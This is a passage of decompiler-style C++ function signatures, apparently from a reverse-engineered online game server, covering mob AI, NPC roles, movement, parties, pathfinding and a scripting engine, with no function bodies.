__thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize); void __thiscall StaticVector::StaticVector(StaticVector *this, int maxsize); void __thiscall StaticVector::StaticVector(StaticVector *this, int maxsize); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionChase::mab_Think(MobTacticElement::MobActionChase *this, MobTacticElement::MobActionArgument *argument); void __thiscall MobTargetBout::MobTargetBout(MobTargetBout *this); void __thiscall MobTargetAggresive::MobTargetAggresive(MobTargetAggresive *this); // void __thiscall MobTargetAggresive::_MobTargetAggresive(MobTargetAggresive *this); void __thiscall MobTargetAggresive2::MobTargetAggresive2(MobTargetAggresive2 *this); void __thiscall MobTargetAggresive2::_MobTargetAggresive2(MobTargetAggresive2 *this); void __thiscall MobTargetNoBrain::MobTargetNoBrain(MobTargetNoBrain *this); void __thiscall MobTargetBout::_MobTargetBout(MobTargetNoBrain *this); char __thiscall SlayerCollect::lid_Call(SlayerCollect *this, MobTargetStruct *ele, unsigned __int16 handle); void __thiscall List::_List(List *this); void __thiscall MobAggroManager::_MobAggroManager(MobAggroManager *this); void *__thiscall MobTargetBout::_vector_deleting_destructor_(MobTargetNoBrain *this, unsigned int); void *__thiscall MobTargetAggresive::_scalar_deleting_destructor_(MobTargetAggresive *this, unsigned int); void *__thiscall MobTargetAggresive2::_vector_deleting_destructor_(MobTargetAggresive2 *this, unsigned int); void __thiscall MobTargetBout::mts_SlayerList(MobTargetBout *this, PROTO_NC_BAT_MOBSLAYER_CMD *pack, unsigned __int16 mob); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); char __thiscall List::l_PushA(List *this, MobTargetStruct *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PushZ(List *this, MobTargetStruct *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, MobTargetStruct *ele); char __thiscall List::l_PopZ(List *this, MobTargetStruct *ele); void __thiscall MobAggroManager::MobAggroManager(MobAggroManager *this); void __thiscall MoveManager::mm_RecalcSpeed(MoveManager *this, int speed); void __thiscall AxialListBriefExchangerAtMove::_AxialListBriefExchangerAtMove(AxialListBriefExchangerAtMove *this); void __thiscall AxialListBriefDeleteAtMove::_AxialListBriefDeleteAtMove(AxialListBriefDeleteAtMove *this); void __thiscall MoveManager::mm_MoveStart(MoveManager *this, SHINE_XY_TYPE *to, int charSpeed, MoveManager::MMState state); char __thiscall AxialListBriefExchangerAtMove::ali_Work(AxialListBriefExchangerAtMove *this, #331 *, #331 *, unsigned int); void __thiscall ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange(void *this, int goal); char __thiscall AxialListBriefDeleteAtMove::ali_Work(AxialListBriefDeleteAtMove *this, #331 *, #331 *, unsigned int); void __thiscall ShineObjectClass::ShineMobileObject::smo_OldObjectDelete(void *this, int from); char __thiscall ShineObjectClass::ShineObject::so_FindBlockLocateFrom(void *this, int from, int locate, int distance, int div, int (__thiscall *xcoord)(_DWORD, _DWORD, _DWORD)); char __stdcall ShineObjectClass::ShineMobileObject::smo_BlockCheck(int finalx, int finaly); bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveBlockCheck(void *this, unsigned int x, unsigned int y); char __thiscall ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(void *this, unsigned int x, unsigned int y); char __cdecl ShineObjectClass::ShineMobileObject::smo_StopBlockCheck(); void __thiscall MoveManager::mm_Step(MoveManager *this, bool ignoreElapsedTime); char __thiscall ShineObjectClass::ShineObject::so_FindBlockLocate(void *this, int locate, int distance, int goal, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)); char __thiscall ShineObjectClass::ShinePlayer::smo_BlockCheck(void *this, unsigned int finalx, unsigned int finaly); char __thiscall ShineObjectClass::ShinePlayer::smo_StopBlockCheck(void *this); void __thiscall AxialListNearScan::AxialListNearScan(AxialListNearScan *this); void __thiscall AxialListNearScan::_AxialListNearScan(AxialListNearScan *this); int __thiscall AxialListNearScan::alns_GetNumber(AxialListNearScan *this); #331 *__thiscall AxialListNearScan::alns_GetMember(AxialListNearScan *this, int nIndex); int __cdecl AxialListNearScan::alns_Compare(const void *a, const void *b); void __thiscall AxialListNearScanEnemyorAll::AxialListNearScanEnemyorAll(AxialListNearScanEnemyorAll *this, #331 *, bool, bool); char __thiscall AxialListNearScanEnemyorAll::alns_ValidObject(AxialListNearScanEnemyorAll *this, #331 *obj); char __thiscall AxialListNearScan::ali_Work(AxialListNearScan *this, #331 *, #331 *, unsigned int); void __thiscall NPCRole_Portal::nrb_BriefInformSet(NPCRole_Portal *this, #331 *, ORToken *); void __thiscall NPCRoleBase::nrb_Role(NPCRoleBase *this, #440 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall ShineObjectClass::ShinePlayer::sp_EndOfTrade(void *this, char servermenureset); void __thiscall NPCRole_Merchant::nrm_ShopMenuOpen(NPCRole_Merchant *this, #440 *, NPCManager::NPCIndexArray *, unsigned __int16, unsigned __int16, const char *, int, int); void __thiscall NPCRole_Merchant::nrm_GuildShopMenuOpen(NPCRole_Merchant *this, #440 *, NPCManager::NPCIndexArray *, unsigned __int16, unsigned __int16, const char *, int, int); void __thiscall NPCRole_Merchant::nrm_PortionStone(NPCRole_Merchant *this, #440 *, NPCManager::NPCIndexArray *, unsigned __int16, unsigned __int16); void __thiscall NPCRole_Portal::nrb_Role(NPCRole_Portal *this, #440 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_ID_Portal::nrb_Role(NPCRole_ID_Portal *this, #440 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_Merchant::nrb_Role(NPCRole_Merchant *this, #440 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_StoreManager::nrb_Role(NPCRole_StoreManager *this, #440 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_MenuOpen::nrb_Role(NPCRole_MenuOpen *this, #440 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_Merchant::nrb_EndOfTrade(NPCRole_Merchant *this, #440 *player); void __thiscall NPCRole_StoreManager::nrb_EndOfTrade(NPCRole_StoreManager *this, #440 *player); void __thiscall NPCRole_MenuOpen::nrb_EndOfTrade(NPCRole_MenuOpen *this, #440 *player); NPCRoleBase *__thiscall CurrentMenu::cm_MenuAction(CurrentMenu *this, #440 *ply); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::InteractWithNPC(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK(void *ply, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall NPCItemList::ItemListOption::ItemListOption(NPCItemList::ItemListOption *this); void __thiscall NPCItemList::NPCItemListTable::NPCItemListTable(NPCItemList::NPCItemListTable *this); void __thiscall NPCItemList::NPCItemListTable::_NPCItemListTable(NPCItemList::NPCItemListTable *this); PROTO_NC_MENU_SHOPOPENTABLE_CMD *__thiscall NPCItemList::ItemListOption::ilo_PacketMake(NPCItemList::ItemListOption *this, const char *mobindex); PROTO_NC_MENU_SHOPOPENTABLE_CMD *__thiscall NPCItemList::NPCItemListTable::nilt_MenuPacket(NPCItemList::NPCItemListTable *this, const char *mobindex); void __thiscall NPCItemList::NPCItemListTable::nilt_ReadTable(NPCItemList::NPCItemListTable *this, const char *mobindex); OptionReader *__thiscall NPCManager::operator_>(NPCManager *this); void __thiscall NPCManager::NPCManager(NPCManager *this); int __cdecl NPCManager::nm_HandleCompare(const void *a, const void *b); void __thiscall NPCRoleBase::NPCRoleBase(NPCRoleBase *this, NPCManager::NPCInformTemplete *npctemplet); NPCManager::LinkInformTemplete *__thiscall NPCRoleBase::nrb_linkinform(NPCRoleBase *this, int num); void __thiscall NPCRoleBase::_NPCRoleBase(NPCRoleBase *this); NPCManager::LinkInformTemplete *__thiscall NPCRole_Portal::nrb_linkinform(NPCRole_Portal *this, int num); void __thiscall NPCRole_ID_Portal::NPCRole_ID_Portal(NPCRole_ID_Portal *this, NPCManager::NPCInformTemplete *npctemplet); void __thiscall NPCRole_Guard::NPCRole_Guard(NPCRole_Guard *this, NPCManager::NPCInformTemplete *npctemplet); void __thiscall NPCRole_MenuOpen::NPCRole_MenuOpen(NPCRole_MenuOpen *this, NPCManager::NPCInformTemplete *npctemplet); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall NPCManager::nm_Load(NPCManager *this, Name4 *world); void __thiscall NPCManager::nm_SetNPC(NPCManager *this); unsigned int __thiscall NPCRole_Merchant::nrb_ItemSellPrice(NPCRole_Merchant *this, #331 *, unsigned __int16); unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyPrice(NPCRole_Merchant *this, #331 *, unsigned __int16); unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyGuildToken(NPCRole_Merchant *this, #331 *, unsigned __int16); unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyFame(NPCRole_Merchant *this, #331 *, unsigned __int16); void __thiscall MerchantCityData::MerchantCityData(MerchantCityData *this); void __thiscall BinaryDataBox::_BinaryDataBox(MobResistTable *this); void __thiscall MerchantCityData::mcd_Load(MerchantCityData *this); int __thiscall MerchantCityData::mcd_city(MerchantCityData *this, unsigned __int16 mapindex); void __thiscall NPCRoleBase::nrb_LinkBrench(NPCRoleBase *this, #440 *, int, NPCManager::LinkInformTemplete *); void __thiscall NPCRole_Portal::nrb_LinkBrench(NPCRole_Portal *this, #440 *, int, NPCManager::LinkInformTemplete *); char __thiscall NPCRoleBase::nrb_LinkBrenchCheck(NPCRoleBase *this, NPCManager::LinkInformTemplete *lnkstr); char __thiscall NPCRole_Portal::nrb_LinkBrenchCheck(NPCRole_Portal *this, NPCManager::LinkInformTemplete *lnkstr); void __thiscall NPCManager::_NPCManager(NPCManager *this); void __thiscall OPToolObject::opto_SetSocketSession(OPToolObject *this, OPToolSession *pSession); void __thiscall OPToolSession::OPToolSession(OPToolSession *this); void __thiscall OPToolSession::_OPToolSession(OPToolSession *this); char __thiscall OPToolSession::opts_ConnectReady(OPToolSession *this); void __thiscall List::_List(ItemLotAnalyser::LotAnalyser *this); char __thiscall List::l_Free(List *this, unsigned __int16 hnd); char __thiscall OPToolObject::opto_Routine(OPToolObject *this, List *lst, unsigned __int16 handle); void __thiscall OPToolList::_OPToolList(OPToolList *this); void __thiscall OPToolSession::opts_DummyFunction(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall OPToolSession::opts_NC_MISC_HEARTBEAT_REQ(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall OPToolList::OPToolList(OPToolList *this); void __thiscall GlobalProtocolPacket::GlobalProtocolPacket(GlobalProtocolPacket *this); char __thiscall PacketContainer::pcb_Flush_Try_Catch(PacketContainer *this, ClientSession *session); void __thiscall ProtocolPacket::pp_SendPacket(ProtocolPacket *this, ZoneBaseSession *session); void __thiscall PacketContainerBase::pcb_Append(PacketContainerBase *this, #331 *, ProtocolPacket *); void __thiscall PacketContainer::pcb_Append(PacketContainer *this, #331 *, ProtocolPacket *); char __thiscall ProtocolPacket::pp_SetPacketLen(ProtocolPacket *this, int len); int __cdecl ShineObjectClass::ShineObject::so_ply_GetClientSession(); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetClientSession(void *this); void __thiscall Parameter::Cluster::c_clearplus(Parameter::Cluster *this); void __thiscall Parameter::Cluster::c_clearrate(Parameter::Cluster *this); bool __thiscall Parameter::Container::IsNoAttacOrNoMove(Parameter::Container *this); bool __thiscall Parameter::Container::IsNoAttack(Parameter::Container *this); void __thiscall ShineCommonParameter::ShineCommonParameter(ShineCommonParameter *this); signed __int16 __cdecl ShineObjectClass::ShineObject::so_IsInWeapon(); int __thiscall ShineObjectClass::ShinePlayer::so_IsInWeapon(int this); UpGradeInfo *__thiscall UpgradeDataBox::operator__(UpgradeDataBox *this, unsigned __int16 sub); void __thiscall Parameter::Cluster::operator__(Parameter::Cluster *this, Parameter::Cluster *c); void __thiscall Parameter::Cluster::operator__(Parameter::Cluster *this, Parameter::Cluster *c); void __thiscall Parameter::Cluster::c_compareelement(Parameter::Cluster *this, unsigned int curr, unsigned int last, int flag, PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *changepacket); int __thiscall Parameter::Cluster::c_compare(Parameter::Cluster *this, Parameter::Cluster *last, PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *changepacket); void __thiscall Parameter::Container::c_MakeTotal(Parameter::Container *this); void __thiscall ShineCommonParameter::scp_Load(ShineCommonParameter *this, Name4 *world); // void __usercall FillRandomOption(ItemInventoryCell *itemcell, ItemDataBox::ItemDataBoxIndex *itemdata, int *itemstat); void __thiscall ShineObjectClass::ShinePlayer::so_RecalcEquipParam(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_RecalcPassiveParam(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_RecalcLastParam(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_ParameterView(void *this, int param); void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam(void *this); void __thiscall WorldManagerSession::wms_NC_PARTY_DISMISS_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_LOGIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); #331 *__thiscall PartyManufacture::pm_FindMember(PartyManufacture *this, unsigned __int16 partyregnum, unsigned __int16 sub); void __thiscall PartyManufacture::pm_Break(PartyManufacture *this, unsigned __int16 party); void __thiscall PartyManufacture::pm_HandleSet(PartyManufacture *this, unsigned __int16 partyregnum, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *zmember); void __thiscall PartyManufacture::pm_MemberLeave(PartyManufacture *this, unsigned __int16 partyregnum, unsigned int chrregnum); void __thiscall PartyManufacture::pm_NewMemberJoin(PartyManufacture *this, unsigned __int16 partyregnum); void __thiscall PartyManufacture::pm_Sendmemberinfo(PartyManufacture *this, unsigned __int16 party); void __thiscall PartyManufacture::pm_QuestCheck(PartyManufacture *this, void (__thiscall *qf)(ShineQuestDiary *this, #331 *, #331 *, MobDataBox::MobDataBoxIndex *), #331 *player, #331 *mobobj, MobDataBox::MobDataBoxIndex *mobinf); unsigned __int16 __thiscall PartyManufacture::pm_FindParty(PartyManufacture *this, unsigned int chrregnum); void __thiscall PartyManufacture::pm_Broadcast(PartyManufacture *this, #440 *, CParty::PARTY_SLOT *, ProtocolPacket *, int); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo(void *this, int a2); void __thiscall WorldManagerSession::wms_PartyMemberRefresh(WorldManagerSession *this, CParty::PARTY_SLOT *ps, PROTO_NC_PARTY_MEMBERINFORM_ACK *ack); void __thiscall ShineObjectClass::ShinePlayer::sp_LogoutDuringParty(void *this); void __thiscall WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall PROTO_PARTY_MEMBER::PROTO_PARTY_MEMBER(PROTO_PARTY_MEMBER *this); void __thiscall PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::PROTO_PARTY_MEMBER_AND_ZONEMERCHINE(PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *this); void __thiscall WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_PartyInformInit(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_PartyInformInit(int this); void __thiscall WorldManagerSession::wms_NC_PARTY_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_PARTY_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); unsigned __int16 __thiscall PathFindCell::pfc_Getdistance(PathFindCell *this, unsigned int flag); PathFindCell *__thiscall PathFindTable::operator__(PathFindTable *this, int x, int y); void __thiscall LinearStep::ls_step(LinearStep *this, int step, int *x, int *y); Tracer *__thiscall LinearStep::ls_Set(LinearStep *this, int fx, int fy, int tx, int ty); void __thiscall PathFindTable::PathFindTable(PathFindTable *this); void __thiscall PathFindTable::_PathFindTable(PathFindTable *this); void __thiscall Tracer::_Tracer(LinearStep *this); void __thiscall LinearStep::LinearStep(LinearStep *this); char __thiscall List::l_PopZ(List *this, ItemLotAnalyser::LotChanger *ele); char __thiscall List::l_PopA(List *this, HitMeList::Enemy *ele); char __thiscall List::l_PopZ(List *this, HitMeList::Enemy *ele); void *__thiscall Tracer::_vector_deleting_destructor_(Tracer *this, unsigned int); void *__thiscall LinearStep::_scalar_deleting_destructor_(LinearStep *this, unsigned int); char __thiscall LinearStep::t_continue(LinearStep *this, PathFindArgumentStruct *pfas, PathFindCellLoc *lastloc, int mindist); void __thiscall CellStack::_CellStack(CellStack *this); void __thiscall CellStack::cs_push(CellStack *this, PathFindArgumentStruct *pfas, int fx, int fy, int x, int y, unsigned __int16 dist); char __thiscall CellStack::t_continue(CellStack *this, PathFindArgumentStruct *pfas, PathFindCellLoc *lastloc, int mindist); char __thiscall MinWeightSearching::lid_Call(MinWeightSearching *this, CellStack::CellStackElement *ele, unsigned __int16 handle); Tracer *__thiscall CellStack::t_trace(CellStack *this, PathFindArgumentStruct *pfas); void __thiscall List::l_Clear(List *this); char __thiscall List::l_PushA(List *this, HitMeList::Enemy *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_Clear(List *this); Tracer *__thiscall CellStack::cs_Set(CellStack *this, PathFindArgumentStruct *pfas, int x, int y, unsigned __int16 dist); Tracer *__thiscall LinearStep::t_trace(LinearStep *this, PathFindArgumentStruct *pfas); void *__thiscall CellStack::_vector_deleting_destructor_(CellStack *this, unsigned int); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall CellStack::CellStack(CellStack *this); void __thiscall JunctionPointContainer::JunctionPointContainer(JunctionPointContainer *this); void __thiscall PerformanceChecker::PerformanceChecker(PerformanceChecker *this); long double __thiscall PerformanceChecker::pc_loopPERsecond(PerformanceChecker *this); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void __thiscall PROTOCOLFUNCTIONTEMPLETE::pft_Store(PROTOCOLFUNCTIONTEMPLETE *this, int depart, int command, void (__thiscall *pnt)(GameDBSession *this, NETCOMMAND *, int)); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall std::locale::facet::_Incref(std::locale::facet *this); std::locale::facet *__thiscall std::locale::facet::_Decref(std::locale::facet *this); // void __thiscall std::locale::_locale(std::locale *this); void *__thiscall std::locale::facet::_scalar_deleting_destructor_(std::locale::facet *this, unsigned int); void __thiscall std::locale::facet::_facet(std::num_put > > *this); std::locale *__thiscall std::ios_base::getloc(std::ios_base *this, std::locale *result); void *__thiscall std::ios_base::_vector_deleting_destructor_(std::ios_base *this, unsigned int); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionNoBrain::mab_Think(MobTacticElement::MobActionNoBrain *this, MobTacticElement::MobActionArgument *argument); unsigned __int16 __cdecl ps_assert(unsigned __int16 condition, const char *message, const char *flag); PineScriptToken *__thiscall PineScriptToken::pst_ToLower(PineScriptToken *this); void __thiscall PineScriptToken::PineScriptToken(PineScriptToken *this, char *name); void __thiscall PineScriptToken::PineScriptToken(PineScriptToken *this, int number); PineScriptToken *__thiscall PineScriptToken::pst_Clear(PineScriptToken *this); unsigned __int16 __thiscall PineScriptToken::pst_RemoveQuatator(PineScriptToken *this); int __thiscall PineScriptToken::pst_GetNumber(PineScriptToken *this, unsigned __int16 cut); char __thiscall PineScriptToken::pst_GetChar(PineScriptToken *this, int num); void __thiscall PineScriptToken::pst_SetChar(PineScriptToken *this, int num, int chr); unsigned __int16 __thiscall PineScriptToken::operator__(PineScriptToken *this, char *str); unsigned __int16 __thiscall PineScriptToken::operator__(PineScriptToken *this, char *str); PineScriptToken *__thiscall PineScriptToken::pst_Merge(PineScriptToken *this, PineScriptToken *sst); void __thiscall PineEventScriptNode::CalculateOperator::_CalculateOperator(PineEventScriptNode::CompareOperator *this); void __thiscall PineEventScriptNode::SysFuncRand::SysFuncRand(PineEventScriptNode::SysFuncRand *this); void __thiscall PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen(PineEventScriptNode::SysFuncShineGetLoseGuild *this); void __thiscall PineEventScriptNode::SysFuncSQRT::SysFuncSQRT(PineEventScriptNode::SysFuncSQRT *this); void __thiscall PineEventScriptNode::SysFuncDistance::SysFuncDistance(PineEventScriptNode::SysFuncDistance *this); void __thiscall PineEventScriptNode::SysFuncShineMobRegen::SysFuncShineMobRegen(PineEventScriptNode::SysFuncShineMobRegen *this); void __thiscall PineEventScriptNode::SysFuncShineDoorBuild::SysFuncShineDoorBuild(PineEventScriptNode::SysFuncShineDoorBuild *this); void __thiscall PineEventScriptNode::SysFuncShineNPCStand::SysFuncShineNPCStand(PineEventScriptNode::SysFuncShineNPCStand *this); void __thiscall PineEventScriptNode::SysFuncShineChange2Mob::SysFuncShineChange2Mob(PineEventScriptNode::SysFuncShineChange2Mob *this); void __thiscall PineEventScriptNode::SysFuncShineChange2Door::SysFuncShineChange2Door(PineEventScriptNode::SysFuncShineChange2Door *this); void __thiscall PineEventScriptNode::SysFuncShineChange2NPC::SysFuncShineChange2NPC(PineEventScriptNode::SysFuncShineChange2NPC *this); void __thiscall PineEventScriptNode::SysFuncShineCount::SysFuncShineCount(PineEventScriptNode::SysFuncShineCount *this); void __thiscall PineEventScriptNode::SysFuncShineRestSecond::SysFuncShineRestSecond(PineEventScriptNode::SysFuncShineRestSecond *this); void __thiscall PineEventScriptNode::SysFuncShineCharClass::SysFuncShineCharClass(PineEventScriptNode::SysFuncShineCharClass *this); void __thiscall PineEventScriptNode::SysFuncShineCharName::SysFuncShineCharName(PineEventScriptNode::SysFuncShineCharName *this); void __thiscall PineEventScriptNode::SysFuncShineDeadNumber::SysFuncShineDeadNumber(PineEventScriptNode::SysFuncShineDeadNumber *this); void __thiscall PineEventScriptNode::SysFuncShineCircularScatter::SysFuncShineCircularScatter(PineEventScriptNode::SysFuncShineCircularScatter *this); void __thiscall PineEventScriptNode::SysFuncShineRemoveFisrt::SysFuncShineRemoveFisrt(PineEventScriptNode::SysFuncShineRemoveFisrt *this); void __thiscall PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineGetObjectList(PineEventScriptNode::SysFuncShineGetObjectList *this); void __thiscall PineEventScriptNode::SysFuncShineKQResultList::SysFuncShineKQResultList(PineEventScriptNode::SysFuncShineKQResultList *this); void __thiscall PineEventScriptNode::SysFuncShineKQTop::SysFuncShineKQTop(PineEventScriptNode::SysFuncShineKQTop *this); void __thiscall PineEventScriptNode::SysFuncShineDistance::SysFuncShineDistance(PineEventScriptNode::SysFuncShineDistance *this); void __thiscall PineEventScriptNode::SysFuncShinePlayerInArea::SysFuncShinePlayerInArea(PineEventScriptNode::SysFuncShinePlayerInArea *this); void __thiscall PineEventScriptNode::SysFuncShineRange::SysFuncShineRange(PineEventScriptNode::SysFuncShineRange *this); void __thiscall PineEventScriptNode::SysFuncShineIsGateUse::SysFuncShineIsGateUse(PineEventScriptNode::SysFuncShineIsGateUse *this); void __thiscall PineEventScriptNode::SysFuncShineGetWinnerGuild::SysFuncShineGetWinnerGuild(PineEventScriptNode::SysFuncShineGetWinnerGuild *this); void __thiscall PineEventScriptNode::SysFuncShineGetLoseGuild::SysFuncShineGetLoseGuild(PineEventScriptNode::SysFuncShineGetLoseGuild *this); PineScriptToken *__thiscall PineEventScriptNode::ArgumentList::al_GetArgument(PineEventScriptNode::ArgumentList *this, unsigned int sub, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::SysFuncBase::sfb_Calculate(PineEventScriptNode::SysFuncBase *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __thiscall PineEventScriptNode::Identify::Identify(PineEventScriptNode::Identify *this); // void __thiscall PineEventScriptNode::Statement::Statement(PineEventScriptNode::Statement *this); void __thiscall PineEventScriptNode::Statement::_Statement(PineEventScriptNode::Statement *this); void __thiscall PineEventScriptNode::BlockName::_BlockName(PineEventScriptNode::BlockName *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateBreak::sb_CloneMe(PineEventScriptNode::StateBreak *this); unsigned __int16 __thiscall PineEventScriptNode::Condition::sa_Load(PineEventScriptNode::Condition *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::ScriptAtom::sa_BlockNameCheck(CQuest *this, unsigned __int16 nItemID); unsigned __int16 __thiscall PineEventScriptNode::Block::sa_BlockNameCheck(PineEventScriptNode::Block *this, PineScriptToken *exitblock); PineScriptToken *__thiscall PineEventScriptNode::Identify::sa_Calculate(PineEventScriptNode::Identify *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::SystemFunction::sa_Calculate(PineEventScriptNode::SystemFunction *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::Number::sa_Calculate(PineEventScriptNode::String *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); int __thiscall PineScriptReader::CharacterReader::cr_GetCh(PineScriptReader::CharacterReader *this); void __thiscall PineScriptReader::CharacterReader::cr_SkipSpace(PineScriptReader::CharacterReader *this); void __thiscall PineScriptReader::TokenReader::_TokenReader(PineScriptReader::TokenReader *this); PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadString(PineScriptReader::TokenReader *this, PineScriptToken *tkn); unsigned __int16 __thiscall PineScriptReader::TokenReader::tr_isAlNum(PineScriptReader::TokenReader *this, int ch); unsigned __int16 __thiscall PineScriptReader::TokenReader::tr_IsOper(PineScriptReader::TokenReader *this, int ch); unsigned __int16 __thiscall PineEventScriptNode::StatementList::sl_AddStatement(PineEventScriptNode::StatementList *this, PineEventScriptNode::StatementBase *sb); void __thiscall PineScriptStack::VariableStack::VarArray::VarArray(PineScriptStack::VariableStack::VarArray *this); PineScriptToken 